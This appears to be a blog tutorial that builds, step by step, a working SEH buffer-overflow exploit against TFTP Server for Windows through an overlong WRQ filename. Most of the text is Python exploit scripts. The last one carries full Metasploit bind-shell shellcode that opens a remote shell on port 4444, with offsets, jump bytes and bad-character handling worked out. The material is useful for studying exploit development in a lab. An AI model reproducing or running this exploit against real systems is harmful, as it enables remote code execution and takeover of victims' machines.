Intro
Welcome to Exploit Fortnights issue #1. Today I’m going to do an exploit on TFTP Server for Windows which has been exploited numerous times in the past and has many many holes in it. The specific hole that we will be looking at today is a vulnerability when supplying an overly long filename to the WRQ command (more can be found at https://www.metasploit.com/modules/exploit/windows/tftp/tftpserver_wrq_bof). Due to a problem in the way that the program handles this filename, we can achieve arbitrary code execution on the victim machine.
The code that we will be basing this exploit off of can be found on exploit-db.com at https://www.exploit-db.com/exploits/5314/
Here is what you will need for this tutorial.
Required
- Some version of Windows (I use Windows XP SP3)
- Knowledge of SEH exploits.
- Immunity Debugger installed on the Windows machine
- Mona.py installed within Immunity Debugger
- The ability to stay awake.
Steps (taken from my notes)
- Look up UDP python sockets
- Make exploit with 2000 copies of the letter
A
- Replace “A” s with metasploit pattern
- Found that EDX is overwritten 1522 bytes in
- Found ECX is overwritten 1526 bytes in
- Found NSEH is overwritten 1492 bytes in
- Configure Immunity Debugger to start the program with the
-v
argument (so it would start properly) - Restructure the exploit to overwrite NSEH and SEH with specific values to check offsets and confirm that these are correct.
- Use
0x7C80DFEC
as aPOP POP RET
sequence to overwrite the NSEH handler. - Find this doesn’t work
- Replace this with 00410EC0 from TFTPServ, find this works.
- Replace SEH with
\xeb\x80\x90\x90
. This will effectively jump us back 7E or 126 bytes back. - Manually make some instructions to set up our jump back again to the beginning of our shellcode.
- Set up a NOP padding for the shellcode (even though we land directly at the beginning of the shellcode exactly I still like a NOP buffer just in case something out of the ordinary happens)
- Make our shellcode and put it into our exploit.
Well thats roughly how it SHOULD work. But there is one other thing you will see further along that will prevent this from working normally. See if you can’t figure it out ;)
Initial Exploit
Here is the initial copy of the exploit code that we will use as a starting point for this tutorial:
import socket
host = "127.0.0.1"
port = 69
filename = "\x41" * 2000
mode = "netascii"
data = "\x00\x02" + filename + "\0" + mode + "\0"
handler = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
handler.sendto(data, (host,port))
Some things to note here are that we use the SOCK_DGRAM
for UDP mode in this case. Also we use handler.sendto
rather than handler.send
. Again these are differences in using UDP in Python compared to TCP.
Now that that’s sorted out lets try testing things out.
Our First Test
First though we need to make sure we load the program and specify the -v
option as a parameter or else the program won’t run correctly.
And now we have our server started:
Lets send the exploit:
Ok so we get an access violation when writing to 0x00230000
. Looking at our registers we notice the following:
- ECX appears to be overwritten with some of our A’s.
- The stack appears to point to multiple different sections within our A’s.
More importantly if we look at the SEH chain we see the following:
So we also seem to have overwritten our SEH handler.
Pattern Time!
Next we do a !mona pc 2000
to generate our Metasploit pattern of 2000 characters and replace our A’s in the original exploit with this:
And the resulting crash:
As show in the previous tutorial we then try to find the offsets. We do this by running:
!mona findmsp
And the results should be similar to the following:
The from this the important things that we gather are:
- NSEH is overwritten 1492 bytes in.
- EDX is overwritten 1522 bytes in.
- ECX is overwritten 1526 bytes in.
Restructuring the Exploit
After taking all this into account we make a new exploit as follows:
import socket
host = "127.0.0.1"
port = 69
filename = "A" * 1492
filename += "B" * 4 # NSEH overwrite
filename += "C" * 4 # SEH overwrite
mode = "netascii"
data = "\x00\x02" + filename + "\0" + mode + "\0"
handler = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
handler.sendto(data, (host,port))
We then send the new exploit and get the following in the SEH chain.
If we right click on the first entry and select Follow Address in Stack
we see the following:
With this we can confirm that we can successfully control the addresses that will be used for the NSEH and SEH exception handlers :) We are on our way to making a working exploit!
Configuring SEH With the Right Information
Ok so next we need to find out the right POP POP RET to use for our SEH exploit. We shall use mona for this again and execute the following:
!mona seh
You should get something like the following:
You can also open the SEH.txt file (Most likely under C:\Program Files\Immunity Inc\Immunity Debugger\seh.txt
)
You can use any of the addresses listed in either the output for in the SEH.txt file which start with 00
. I chose to use the first one listed out of simplicity.
Replace the SEH value with the new one and exploit once again:
import socket
host = "127.0.0.1"
port = 69
filename = "A" * 1492
filename += "B" * 4 # NSEH overwrite
filename += "\x05\x96\x40" # SEH overwrite
mode = "netascii"
data = "\x00\x02" + filename + "\0" + mode + "\0"
handler = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
handler.sendto(data, (host,port))
Yay :) We got the SEH handler under control now. Lets check this:
Yep that looks right. So where does that take us then?
Oh great balls of fire….that doesn’t look nice. It appears that the B’s that we are still using to overwrite the NSEH exception handler are where the program is pointing to now. Normally this isn’t an issue as we would just jump to code at a higher valued memory address in memory, which would normally be located in memory some place after the NSEH exception handler overwrite. However in this case, we can see that if we were to do this, we would be crossing into a new segment of memory that this program doesn’t have access to. That’s going to be an issue.
The First Stage…How Do I Jump Backwards Again???
So after playing around I found that we still have tons of space above where we are now. To verify this double click on the first B that we have, where the program is currently pointing. You should see an arrow appear:
Scroll up till you see the beginning of your \x41
’s.
We see that it is 0x5D4
bytes till the beginning of our \x41
’s or 1492 bytes. We decide to do a jump backwards to the beginning of our buffer. The farthest backwards jump we can do is \xeb\x80\x90\x90
.
So now we will have it so that NSEH looks like this:
nseh = "\xeb\x80\x90\x90"
Except just put that in for the part in the code where NSEH is overwritten (well that minus the nseh = part).
Overwriting NSEH With A Backwards Jump
Ok with those changes our code looks like this:
import socket
host = "127.0.0.1"
port = 69
filename = "A" * 1492
filename += "\xeb\x80\x90\x90" # NSEH overwrite
filename += "\x05\x96\x40" # SEH overwrite
mode = "netascii"
data = "\x00\x02" + filename + "\0" + mode + "\0"
handler = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
handler.sendto(data, (host,port))
Lets test that out:
So we can see we go back 0x7E
or 126 bytes from where we execute our jump. Our new exploit taking this in account is as follows:
import socket
host = "127.0.0.1"
port = 69
filename = "A" * (1492-126)
filename += "\xCC" * 126
filename += "\xeb\x80\x90\x90" # NSEH overwrite
filename += "\x05\x96\x40" # SEH overwrite
mode = "netascii"
data = "\x00\x02" + filename + "\0" + mode + "\0"
handler = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
handler.sendto(data, (host,port))
Lets check that works:
Yep looks like its working like a charm!
Aligning EBP
Ok now notice that the register EBP points near to our buffer. Right click on EBP, click Follow in Stack
and then double click on the first entry. Scroll down a bit and you should notice the following:
We can increase EBP to get it to point to the beginning of our buffer of \x41
’s by doing the following:
By doing \x83\xC5\x50
15 times over to increase EBP to the right and then doing \xFF\xE5
to execute a JMP EBP, we actually jump directly to the beginning of the buffer.
Additionally, I’d like to point out a few important things r.e this picture:
- If you look in the register menu you can see EBP pointing to our string of A’s.
- You can see these A’s in the bottom left panel (btw this is not shown but the next line up is the name of the program so this is literally the first line of A’s that we sent).
Ok so lets try that now.
:) Seems like we are nearly there. And we are…minus one caveat.
The Odd Byte Error
If you look in the above screenshot you will see that we have our long string of A’s on the left hand side. But if you have been paying attention (or just weren’t listening intently to me :P ) you might have noticed that in the lower left window of the screenshot above, at offset 0xE0
, our A’s are being turned into 0’s. Counting along the line starting at offset 0xE0
reveals that the first instance of the bad byte is the 8th byte in the line. Considering the first byte of this line is at offset 0xE0
, we can say that offset 0xE7
is where the first NULL byte occurs.
0xE7
in decimal is 231. So after 230 bytes we get a 4 byte space of nulls. So if we prepend 230 bytes of junk before our set of As we should be able to deal with this problem.
Well thats not entirely right. It seems I was two bytes off from the start of the 0’s. Lets up our \x90
’s by 6 (2 for the 2 bytes and then another 4 to cover the null byte space). So we will use 236 bytes of junk instead of 230 so that we fill in the space where the byte get turned into NULLs, and we can get an idea of where our shellcode might sit (aka the remaining space of A’s).
import socket
host = "127.0.0.1"
port = 69
filename = "\x90" * 236
filename += "A" * (1492-126-236) # 126 for the space that we jump to. 236 for the space up to and including the 4 byte null space.
filename += "\x83\xC5\x50" * 15
filename += "\xFF\xE5"
filename += "\xCC" * ( 126 - ((15 * 3) + 2) )
filename += "\xeb\x80\x90\x90" # NSEH overwrite
filename += "\x05\x96\x40" # SEH overwrite
mode = "netascii"
data = "\x00\x02" + filename + "\0" + mode + "\0"
handler = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
handler.sendto(data, (host,port))
Ok so now we have solved that issue. However two problems remain:
- We now have to jump to the beginning of the
\x41
’s and not the\x90
’s at the beginning. Thus we have to increase our EBP some more to point to the\x41
’s now. - We need to generate some shellcode baby!
Adjusting Our Registers……Again
Ok so after a bit of playing around we find that we need add another 3 copies of our ADD EBP, 50
set of instructions to our exploit to align EBP to the right place. I tried doing it via the regular method of looking at the offsets manually but I found I was 2 sets off:
So if we use 3 instead this is the code should get (keeping in mind we were originally doing ADD EBP, 50
aka \x83\xC5\x50
15 times over, and now we are doing it 18 times over):
import socket
host = "127.0.0.1"
port = 69
filename = "\x90" * 236
filename += "A" * (1492-126-236) # 126 for the space that we jump to. 236 for the space up to and including the 4 byte null space.
filename += "\x83\xC5\x50" * 18
filename += "\xFF\xE5"
filename += "\xCC" * ( 126 - ((18 * 3) + 2) )
filename += "\xeb\x80\x90\x90" # NSEH overwrite
filename += "\x05\x96\x40" # SEH overwrite
mode = "netascii"
data = "\x00\x02" + filename + "\0" + mode + "\0"
handler = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
handler.sendto(data, (host,port))
Shellcode Time!
We then generate some shellcode:
msfpayload windows/shell/bind_tcp R | msfencode -a x86 -b "\x00\x2f" -t c
And stick it in there and add some NOPS before it. Then adjust our amount of A’s to accommodate for the nop slide and the shellcode and you should get the following:
import socket
host = "127.0.0.1"
port = 69
nopSlide = "\x90" * 20
# bind_tcp metasploit shellcode on port 4444
# 325 bytes
# bad chars = \x00 \x2f
shellcode = ("\xbe\xb9\xdb\x0e\x9c\xdb\xd1\xd9\x74\x24\xf4\x5a\x31\xc9\xb1"
"\x56\x31\x72\x13\x83\xc2\x04\x03\x72\xb6\x39\xfb\x60\x20\x34"
"\x04\x99\xb0\x27\x8c\x7c\x81\x75\xea\xf5\xb3\x49\x78\x5b\x3f"
"\x21\x2c\x48\xb4\x47\xf9\x7f\x7d\xed\xdf\x4e\x7e\xc3\xdf\x1d"
"\xbc\x45\x9c\x5f\x90\xa5\x9d\xaf\xe5\xa4\xda\xd2\x05\xf4\xb3"
"\x99\xb7\xe9\xb0\xdc\x0b\x0b\x17\x6b\x33\x73\x12\xac\xc7\xc9"
"\x1d\xfd\x77\x45\x55\xe5\xfc\x01\x46\x14\xd1\x51\xba\x5f\x5e"
"\xa1\x48\x5e\xb6\xfb\xb1\x50\xf6\x50\x8c\x5c\xfb\xa9\xc8\x5b"
"\xe3\xdf\x22\x98\x9e\xe7\xf0\xe2\x44\x6d\xe5\x45\x0f\xd5\xcd"
"\x74\xdc\x80\x86\x7b\xa9\xc7\xc1\x9f\x2c\x0b\x7a\x9b\xa5\xaa"
"\xad\x2d\xfd\x88\x69\x75\xa6\xb1\x28\xd3\x09\xcd\x2b\xbb\xf6"
"\x6b\x27\x2e\xe3\x0a\x6a\x27\xc0\x20\x95\xb7\x4e\x32\xe6\x85"
"\xd1\xe8\x60\xa6\x9a\x36\x76\xc9\xb1\x8f\xe8\x34\x39\xf0\x21"
"\xf3\x6d\xa0\x59\xd2\x0d\x2b\x9a\xdb\xd8\xfc\xca\x73\xb2\xbc"
"\xba\x33\x62\x55\xd1\xbb\x5d\x45\xda\x11\xe8\x41\x14\x41\xb9"
"\x25\x55\x75\x2c\xea\xd0\x93\x24\x02\xb5\x0c\xd0\xe0\xe2\x84"
"\x47\x1a\xc1\xb8\xd0\x8c\x5d\xd7\xe6\xb3\x5d\xfd\x45\x1f\xf5"
"\x96\x1d\x73\xc2\x87\x22\x5e\x62\xc1\x1b\x09\xf8\xbf\xee\xab"
"\xfd\x95\x98\x48\x6f\x72\x58\x06\x8c\x2d\x0f\x4f\x62\x24\xc5"
"\x7d\xdd\x9e\xfb\x7f\xbb\xd9\xbf\x5b\x78\xe7\x3e\x29\xc4\xc3"
"\x50\xf7\xc5\x4f\x04\xa7\x93\x19\xf2\x01\x4a\xe8\xac\xdb\x21"
"\xa2\x38\x9d\x09\x75\x3e\xa2\x47\x03\xde\x13\x3e\x52\xe1\x9c"
"\xd6\x52\x9a\xc0\x46\x9c\x71\x41\x76\xd7\xdb\xe0\x1f\xbe\x8e"
"\xb0\x7d\x41\x65\xf6\x7b\xc2\x8f\x87\x7f\xda\xfa\x82\xc4\x5c"
"\x17\xff\x55\x09\x17\xac\x56\x18")
filename = "\x90" * 236
filename += nopSlide
filename += shellcode
filename += "A" * (1492-126-236-len(nopSlide)-len(shellcode)) # 126 for the space that we jump to.
# 236 for the space up to and including the 4 byte null space.
# 20 bytes for nop slide and 325 bytes for the shellcode.
filename += "\x83\xC5\x50" * 18
filename += "\xFF\xE5"
filename += "\xCC" * ( 126 - ((18 * 3) + 2) )
filename += "\xeb\x80\x90\x90" # NSEH overwrite
filename += "\x05\x96\x40" # SEH overwrite
mode = "netascii"
data = "\x00\x02" + filename + "\0" + mode + "\0"
handler = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
handler.sendto(data, (host,port))
We have successfully made our exploit! If you connect to the port using Metasploit you should get the following: